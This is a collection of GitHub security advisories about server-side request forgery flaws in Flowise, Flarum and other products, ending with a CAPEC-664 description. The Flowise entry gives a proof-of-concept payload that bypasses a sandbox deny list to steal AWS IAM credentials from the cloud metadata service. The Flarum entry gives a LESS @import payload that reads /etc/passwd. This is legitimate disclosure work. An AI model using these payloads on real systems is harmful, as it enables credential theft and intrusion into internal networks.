- packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code
- packages/server/src/services/nodes/index.ts - Service layer executing the code
PoC
Prerequisites:
1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)
2. Valid API key or authenticated session
3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached
Verify SSRF Protection is enabled (expect a block message by policy)
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}
Response:
{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}
Bypass SSRF Protection using built-in http module
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}
Response:
{
"Code": "Success",
"LastUpdated": "2026-01-08T11:30:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-01-08T17:30:00Z"
}
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass
Who is Impacted:
- All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection
- Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method
Impact Severity: 1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources 2. Scan internal networks, discover services, and identify attack targets 3. Reach databases, admin panels, and other internal APIs that should not be externally accessible
Attack Requirements: - Authentication required (API key or session) - Network access to Flowise instance
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41270"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:50:12Z",
"nvd_published_at": "2026-04-23T20:16:15Z",
"severity": "HIGH"
},
"details": "### Summary\nA Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)\n\n### Details\nThe vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts`\n\n**Vulnerable Code - Allowed Built-in Modules (Line 56):**\n```typescript\nexport const defaultAllowBuiltInDep = [\n \u0027assert\u0027, \u0027buffer\u0027, \u0027crypto\u0027, \u0027events\u0027, \u0027http\u0027, \u0027https\u0027, \u0027net\u0027, \u0027path\u0027, \u0027querystring\u0027, \u0027timers\u0027,\n \u0027url\u0027, \u0027zlib\u0027, \u0027os\u0027, \u0027stream\u0027, \u0027http2\u0027, \u0027punycode\u0027, \u0027perf_hooks\u0027, \u0027util\u0027, \u0027tls\u0027, \u0027string_decoder\u0027, \u0027dns\u0027, \u0027dgram\u0027\n]\n```\n\n**SSRF Protection Implementation (Lines 254-261):**\n```typescript\n// Only axios and node-fetch are wrapped with SSRF protection\nsecureWrappers[\u0027axios\u0027] = secureAxiosWrapper\nsecureWrappers[\u0027node-fetch\u0027] = secureNodeFetch\n\nconst defaultNodeVMOptions: any = {\n // ...\n require: {\n builtin: builtinDeps, // \u003c-- http, https, net allowed here\n mock: secureWrappers // \u003c-- Only mocks axios, node-fetch\n },\n // ...\n}\n```\n\n**Root Cause:**\n- The `secureWrappers` object only contains mocked versions of `axios` and `node-fetch` that enforce `HTTP_DENY_LIST`\n- The built-in `http`, `https`, and `net` modules are passed directly to the sandbox via `builtinDeps` without any SSRF protection\n- Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls\n\n**Affected File:** `packages/components/src/utils.ts`\n\n**Related Files:**\n- `packages/components/src/httpSecurity.ts` - Contains checkDenyList() function only used by axios/node-fetch wrappers\n- `packages/server/src/controllers/nodes/index.ts` - API endpoint accepting user-controlled JavaScript code\n- `packages/server/src/services/nodes/index.ts` - Service layer executing the code\n\n\n\n### PoC\n**Prerequisites:**\n1. Flowise instance with `HTTP_DENY_LIST` configured (e.g., `HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`)\n2. Valid API key or authenticated session\n3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached\n\n**Verify SSRF Protection is enabled (expect a block message by policy)**\n\nRequest:\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n \"javascriptFunction\": \"const axios = require(\u0027axios\u0027); return (await axios.get(\u0027http://169.254.169.254/latest/meta-data/\u0027)).data;\"\n}\n```\n\nResponse:\n\n```json\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.\",\"stack\":{}}\n```\n\n**Bypass SSRF Protection using built-in http module**\n\nRequest:\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n \"javascriptFunction\": \"const http = require(\u0027http\u0027); return new Promise((resolve) =\u003e { const tokenReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/api/token\u0027, method: \u0027PUT\u0027, headers: { \u0027X-aws-ec2-metadata-token-ttl-seconds\u0027: \u002721600\u0027 } }, (tokenRes) =\u003e { let token = \u0027\u0027; tokenRes.on(\u0027data\u0027, c =\u003e token += c); tokenRes.on(\u0027end\u0027, () =\u003e { const metaReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/meta-data/iam/security-credentials/{IAM_Role}\u0027, headers: { \u0027X-aws-ec2-metadata-token\u0027: token } }, (metaRes) =\u003e { let data = \u0027\u0027; metaRes.on(\u0027data\u0027, c =\u003e data += c); metaRes.on(\u0027end\u0027, () =\u003e resolve(data)); }); metaReq.on(\u0027error\u0027, e =\u003e resolve(\u0027meta-error:\u0027 + e.message)); metaReq.end(); }); }); tokenReq.on(\u0027error\u0027, e =\u003e resolve(\u0027token-error:\u0027 + e.message)); tokenReq.end(); });\"\n}\n```\n\nResponse:\n\n```json\n{\n \"Code\": \"Success\",\n \"LastUpdated\": \"2026-01-08T11:30:00Z\",\n \"Type\": \"AWS-HMAC\",\n \"AccessKeyId\": \"ASIA...\",\n \"SecretAccessKey\": \"...\",\n \"Token\": \"...\",\n \"Expiration\": \"2026-01-08T17:30:00Z\"\n}\n```\n\n\u003cimg width=\"1638\" height=\"751\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6\" /\u003e\n\n\n\u003cimg width=\"1633\" height=\"986\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77\" /\u003e\n\n\n\n\n\n### Impact\n\n**Vulnerability Type:** Server-Side Request Forgery (SSRF) with security controls bypass\n\n**Who is Impacted:**\n- All Flowise deployments where `HTTP_DENY_LIST` is configured for SSRF protection\n- Deployments without `HTTP_DENY_LIST` are already vulnerable to SSRF via any method\n\n**Impact Severity:**\n1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources\n2. Scan internal networks, discover services, and identify attack targets\n3. Reach databases, admin panels, and other internal APIs that should not be externally accessible\n\n**Attack Requirements:**\n- Authentication required (API key or session)\n- Network access to Flowise instance",
"id": "GHSA-xhmj-rg95-44hv",
"modified": "2026-04-27T16:11:06Z",
"published": "2026-04-16T21:50:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xhmj-rg95-44hv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41270"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox"
}
GHSA-XJ2X-H5M7-W8GV
Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2021-12-10 00:01An information disclosure via GET request server-side request forgery vulnerability was discovered with the Workplace Search Github Enterprise Server integration. Using this vulnerability, a malicious Workplace Search admin could use the GHES integration to view hosts that might not be publicly accessible.
{
"affected": [],
"aliases": [
"CVE-2021-37940"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-07T19:15:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure via GET request server-side request forgery vulnerability was discovered with the Workplace Search Github Enterprise Server integration. Using this vulnerability, a malicious Workplace Search admin could use the GHES integration to view hosts that might not be publicly accessible.",
"id": "GHSA-xj2x-h5m7-w8gv",
"modified": "2021-12-10T00:01:20Z",
"published": "2021-12-08T00:01:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37940"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/enterprise-search-7-16-0-security-update/291146"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XJ3J-28FV-MQ6V
Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 18:30Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/log_off_single_sign_on.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer’s host name in the variable $printer_vo->str_host_address. The code later builds a URL like 'http://:80/DevMgmt/DiscoveryTree.xml' and sends the request with curl. No validation, whitelist, or private‑network filtering is performed before the request is made. Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.
{
"affected": [],
"aliases": [
"CVE-2025-34230"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-29T21:15:36Z",
"severity": "MODERATE"
},
"details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/log_off_single_sign_on.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer\u2019s host name in the variable\u202f$printer_vo-\u003estr_host_address. The code later builds a URL like \u0027http://\u003chost\u2011address\u003e:80/DevMgmt/DiscoveryTree.xml\u0027 and sends the request with curl. No validation, whitelist, or private\u2011network filtering is performed before the request is made.\u00a0Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.",
"id": "GHSA-xj3j-28fv-mq6v",
"modified": "2025-10-09T18:30:27Z",
"published": "2025-09-29T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34230"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-ssrf-06"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-ssrf-via-hp-log-off-single-sign-on-php-script"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XJ4R-WHFG-77CR
Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50F5 SSL Intercept iApp 1.5.0 - 1.5.7 and SSL Orchestrator 2.0 is vulnerable to a Server-Side Request Forgery (SSRF) attack when deployed using the Dynamic Domain Bypass (DDB) feature feature plus SNAT Auto Map option for egress traffic.
{
"affected": [],
"aliases": [
"CVE-2017-6130"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-06T14:59:00Z",
"severity": "HIGH"
},
"details": "F5 SSL Intercept iApp 1.5.0 - 1.5.7 and SSL Orchestrator 2.0 is vulnerable to a Server-Side Request Forgery (SSRF) attack when deployed using the Dynamic Domain Bypass (DDB) feature feature plus SNAT Auto Map option for egress traffic.",
"id": "GHSA-xj4r-whfg-77cr",
"modified": "2022-05-17T02:50:37Z",
"published": "2022-05-17T02:50:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6130"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K23001529"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XJ6V-GR3V-5FPQ
Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2025-09-22 21:30A vulnerability was identified in SeriaWei ZKEACMS up to 4.3. This affects the function Edit of the file src/ZKEACMS.EventAction/Controllers/PendingTaskController.cs of the component Event Action System. Such manipulation of the argument Data leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-10764"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-21T06:15:33Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in SeriaWei ZKEACMS up to 4.3. This affects the function Edit of the file src/ZKEACMS.EventAction/Controllers/PendingTaskController.cs of the component Event Action System. Such manipulation of the argument Data leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-xj6v-gr3v-5fpq",
"modified": "2025-09-22T21:30:19Z",
"published": "2025-09-22T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10764"
},
{
"type": "WEB",
"url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb021.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.325119"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.325119"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.647629"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XJVC-PW2R-6878
Vulnerability from github – Published: 2026-04-22 20:34 – Updated: 2026-05-13 13:30Summary
Flarum's patch for CVE-2023-27577 restricted the @import and data-uri() LESS features in the custom_less setting, but the same restriction was never applied to other settings registered as LESS config variables (for example theme_primary_color and theme_secondary_color, as well as any key registered via Extend\Settings::registerLessConfigVar()).
Those values are interpolated verbatim into the LESS source at compile time, allowing an authenticated administrator to craft a theme-color value that injects an arbitrary @import directive into the compiled forum.css. Because the underlying LESS parser honours @import (inline) '<path>', an attacker can read arbitrary files reachable by the PHP process (local file inclusion) or trigger outbound HTTP(S) requests (server-side request forgery).
Impact
An attacker who has compromised — or legitimately obtained — an administrator account can:
- Read arbitrary local files reachable by the PHP process (e.g.
/etc/passwd,.env, config files containing database credentials, OAuth secrets, API keys). - Trigger outbound HTTP/HTTPS requests from the Flarum host, enabling SSRF against internal services and cloud metadata endpoints such as
http://169.254.169.254/(AWS IMDSv1, GCP, Azure).
The contents of the attacker-controlled import are embedded into the compiled forum.css, which is publicly served — so the attacker can retrieve whatever was read simply by fetching the CSS file.
This is a privilege-escalation vulnerability: a forum administrator is not intended to have host-level file read or access to internal network resources.
Example payload
Submitted via POST /api/settings with an admin session:
{ "theme_primary_color": "#4D698E;@import (inline) '/etc/passwd';" }
The setting is stored verbatim, interpolated into the LESS source on the next CSS compile, and the target file's contents appear in /assets/forum.css.
Patches
flarum/core1.8.16 — fix for the 1.x branch.flarum/core2.0.0-rc.1 — fix for the 2.x branch.
The fix extends the existing @import / data-uri() validation in Flarum\Forum\ValidateCustomLess::whenSettingsSaving to every dirty setting whose key is registered as a LESS config variable, not just custom_less.
Workarounds
If upgrading is not immediately possible:
- Ensure administrator accounts are protected with strong, unique passwords and (where supported) two-factor authentication.
- Restrict administrator access to trusted users only.
- Review the forum's public
forum.cssfor unexpected content that could indicate prior exploitation.
There is no configuration-level mitigation on affected versions — the fix requires the upgraded code.
Resources
- CVE-2023-27577 — the original vulnerability whose patch was incomplete.
- GHSA-vhm8-wwrf-3gcw — the original advisory.
Credit
Reported to the Flarum Foundation by William (Liam) Snow IV (@LiamSnow), discovered during a graduate-level network security lab at Worcester Polytechnic Institute.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.15"
},
"package": {
"ecosystem": "Packagist",
"name": "flarum/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.0-beta.8"
},
"package": {
"ecosystem": "Packagist",
"name": "flarum/core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-beta.1"
},
{
"fixed": "2.0.0-rc.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41887"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T20:34:52Z",
"nvd_published_at": "2026-05-08T17:16:30Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nFlarum\u0027s patch for [CVE-2023-27577](https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw) restricted the `@import` and `data-uri()` LESS features in the `custom_less` setting, but the same restriction was never applied to other settings registered as LESS config variables (for example `theme_primary_color` and `theme_secondary_color`, as well as any key registered via `Extend\\Settings::registerLessConfigVar()`).\n\nThose values are interpolated verbatim into the LESS source at compile time, allowing an authenticated administrator to craft a theme-color value that injects an arbitrary `@import` directive into the compiled `forum.css`. Because the underlying LESS parser honours `@import (inline) \u0027\u003cpath\u003e\u0027`, an attacker can read arbitrary files reachable by the PHP process (local file inclusion) or trigger outbound HTTP(S) requests (server-side request forgery).\n\n## Impact\n\nAn attacker who has compromised \u2014 or legitimately obtained \u2014 an administrator account can:\n\n- **Read arbitrary local files** reachable by the PHP process (e.g. `/etc/passwd`, `.env`, config files containing database credentials, OAuth secrets, API keys).\n- **Trigger outbound HTTP/HTTPS requests** from the Flarum host, enabling SSRF against internal services and cloud metadata endpoints such as `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure).\n\nThe contents of the attacker-controlled import are embedded into the compiled `forum.css`, which is publicly served \u2014 so the attacker can retrieve whatever was read simply by fetching the CSS file.\n\nThis is a privilege-escalation vulnerability: a forum administrator is not intended to have host-level file read or access to internal network resources.\n\n### Example payload\n\nSubmitted via `POST /api/settings` with an admin session:\n\n```json\n{ \"theme_primary_color\": \"#4D698E;@import (inline) \u0027/etc/passwd\u0027;\" }\n```\n\nThe setting is stored verbatim, interpolated into the LESS source on the next CSS compile, and the target file\u0027s contents appear in `/assets/forum.css`.\n\n## Patches\n\n- **`flarum/core` 1.8.16** \u2014 fix for the 1.x branch.\n- **`flarum/core` 2.0.0-rc.1** \u2014 fix for the 2.x branch.\n\nThe fix extends the existing `@import` / `data-uri()` validation in `Flarum\\Forum\\ValidateCustomLess::whenSettingsSaving` to every dirty setting whose key is registered as a LESS config variable, not just `custom_less`.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n- Ensure administrator accounts are protected with strong, unique passwords and (where supported) two-factor authentication.\n- Restrict administrator access to trusted users only.\n- Review the forum\u0027s public `forum.css` for unexpected content that could indicate prior exploitation.\n\nThere is no configuration-level mitigation on affected versions \u2014 the fix requires the upgraded code.\n\n## Resources\n\n- [CVE-2023-27577](https://nvd.nist.gov/vuln/detail/CVE-2023-27577) \u2014 the original vulnerability whose patch was incomplete.\n- [GHSA-vhm8-wwrf-3gcw](https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw) \u2014 the original advisory.\n\n## Credit\n\nReported to the Flarum Foundation by **William (Liam) Snow IV** ([@LiamSnow](https://github.com/LiamSnow)), discovered during a graduate-level network security lab at Worcester Polytechnic Institute.",
"id": "GHSA-xjvc-pw2r-6878",
"modified": "2026-05-13T13:30:21Z",
"published": "2026-04-22T20:34:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/security/advisories/GHSA-xjvc-pw2r-6878"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27577"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41887"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/commit/2d90a1f19f0e46f8c7e1b07c48ba74b5e38f8410"
},
{
"type": "PACKAGE",
"url": "https://github.com/flarum/framework"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/releases/tag/v1.8.16"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/releases/tag/v2.0.0-rc.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flarum: Path traversal in LESS parser via theme color settings (incomplete fix for CVE-2023-27577)"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.